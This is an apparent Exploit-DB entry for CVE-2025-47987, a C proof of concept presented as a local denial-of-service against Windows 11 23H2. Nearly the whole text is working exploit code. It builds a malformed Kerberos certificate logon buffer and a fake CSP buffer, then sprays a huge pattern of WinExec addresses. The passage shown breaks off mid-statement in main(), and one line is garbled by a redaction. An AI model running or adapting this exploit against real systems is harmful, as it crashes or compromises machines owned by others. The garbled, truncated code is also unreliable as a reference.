Exploit-DB #52541
Description: Windows 11 23H2 - Denial of Service (DoS)
Type: local
Platform: windows
Date: 2026-04-30
Author: tryhardertryh

Exploit:
# Exploit Title: Windows 11 23H2 - Denial of Service (DoS)
# Google Dork: N/A
# Date: 2025-08-22
# Exploit Author: Kryptoenix
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-us/software-download/windows11
# Version: Windows 11 23H2
# Tested on: Windows 11 23H2 (x64)
# CVE: CVE-2025-47987



#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <credssp.h>
#include <stdint.h>
#include <wchar.h>

#pragma comment(lib, "secur32.lib")


#define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7))


int BuildKerbCertLogonBuffer(
    const WCHAR* username,
    const WCHAR* domain,
    const WCHAR* password,
    const BYTE* certBlob,
    DWORD certBlobSize,
    BYTE** outBuffer,
    DWORD* outBufferSize)
{
    if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;

    uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));
    uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));
    uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));

    size_t offsetUser = 0x48; // header is fixed 0x48 bytes
    size_t offset[CREDENTIAL_REDACTED] + ALIGN_TO_8(usernameLen);
    size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);
    size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);

    size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);

    BYTE* buf = (BYTE*)malloc(totalSize);
    if (!buf) return -1;
    memset(buf, 0, totalSize);

    // 0x00: type
    *(uint64_t*)(buf + 0x00) = 13ULL;

    // username entry
    *(uint64_t*)(buf + 0x08) = usernameLen;
    *(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;

    // password entry
    *(uint64_t*)(buf + 0x18) = passwordLen;
    *(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;

    // domain entry
    *(uint64_t*)(buf + 0x28) = domainLen;
    *(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;

    // cert offset/size
    *(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :)
    *(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;
    *(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;

    // payload copies
    memcpy(buf + offsetUser, username, usernameLen);
    memcpy(buf + offsetPassword, password, passwordLen);
    memcpy(buf + offsetDomain, domain, domainLen);
    memcpy(buf + offsetCert, certBlob, certBlobSize);

    printf("\nHeader of packed buffer (first 64 bytes):\n");
    for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) {
        printf("%02x ", buf[i]);
        if ((i & 0x7) == 0x7) printf("\n");
    }
    printf("\n");


    *outBuffer = buf;
    *outBufferSize = (DWORD)totalSize;
    return 0;
}

BYTE* BuildFakeCspData(
    const char* str,       
    size_t strLen,
    DWORD providerValue,   // stored at header[5]
    DWORD* outSize)        
{
    if (!str) return NULL;

    size_t lenChars = strLen + 1; 
    size_t stringBytes = lenChars;     

    size_t headerBytes = 44; // 40-byte base + one DWORD offset
    size_t totalBytes = headerBytes + stringBytes;
    if (totalBytes < 0x30) totalBytes = 0x30;

    BYTE* buffer = (BYTE*)malloc(totalBytes);
    if (!buffer) return NULL;
    memset(buffer, 0, totalBytes);

    // header[5] = providerValue
    ((DWORD*)buffer)[5] = providerValue;

    // header[6] = offset for string (in bytes from start of data area)
    ((DWORD*)buffer)[6] = 0;

    // copy the string into the data area
    BYTE* stringArea = buffer + headerBytes;
    memcpy(stringArea, str, lenChars); 

    printf("Header of CSP buffer (first 44 bytes):\n");
    for (size_t i = 0; i < headerBytes; ++i) {
        printf("%02x ", buffer[i]);
        if ((i & 0x7) == 0x7) printf("\n");
    }
    printf("\n\n");


    if (outSize)
        *outSize = (DWORD)totalBytes;

    return buffer;
}


unsigned char* ptrToBytes(void* ptr, size_t* outLen) {
    size_t len = sizeof(void*); // 8 bytes 
    unsigned char* buf = (unsigned char*)malloc(len);
    if (!buf) return NULL;
    memcpy(buf, &ptr, len); // copy pointer value into buffer
    if (outLen) *outLen = len;
    return buf;
}

unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {
    size_t totalLen = patLen * repeatCount;
    unsigned char* buf = (unsigned char*)malloc(totalLen);
    if (!buf) return NULL;

    // add padding for pointer allignment
    memset(buf, 0, 4);

    unsigned char* p = buf + 4;
    for (size_t i = 0; i < repeatCount; i++) {
        memcpy(p, pattern, patLen);
        p += patLen;
    }
    return buf;
}

wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {
    if (!pattern || repeatCount == 0) return NULL;

    size_t patLen = wcslen(pattern); 
    size_t totalLen = (patLen * repeatCount) + 1; 

    wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));
    if (!buf) return NULL;

    wchar_t* p = buf;

    // copy pattern repeatedly
    for (size_t i = 0; i < repeatCount; i++) {
        wmemcpy(p, pattern, patLen);
        p += patLen;
    }

    *p = L'\0';

    return buf;
}
int main(void)
{
    size_t addrLen;
    unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen);
    if (!addrBytes) {
        fprintf(stderr, "Failed to allocate address bytes.\n");
        return 1;
    }


    size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0
    unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);
    if (!hugeStr) {
        fprintf(stderr, "Failed to allocate huge buffer.\n");
        free(addrBytes);
        return 1;
    }

    DWORD fakeSize;
    printf("Building fake CSP buffer...\n\n");
    BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize);

    if (!fakeCsp) {
        wprintf(L"Al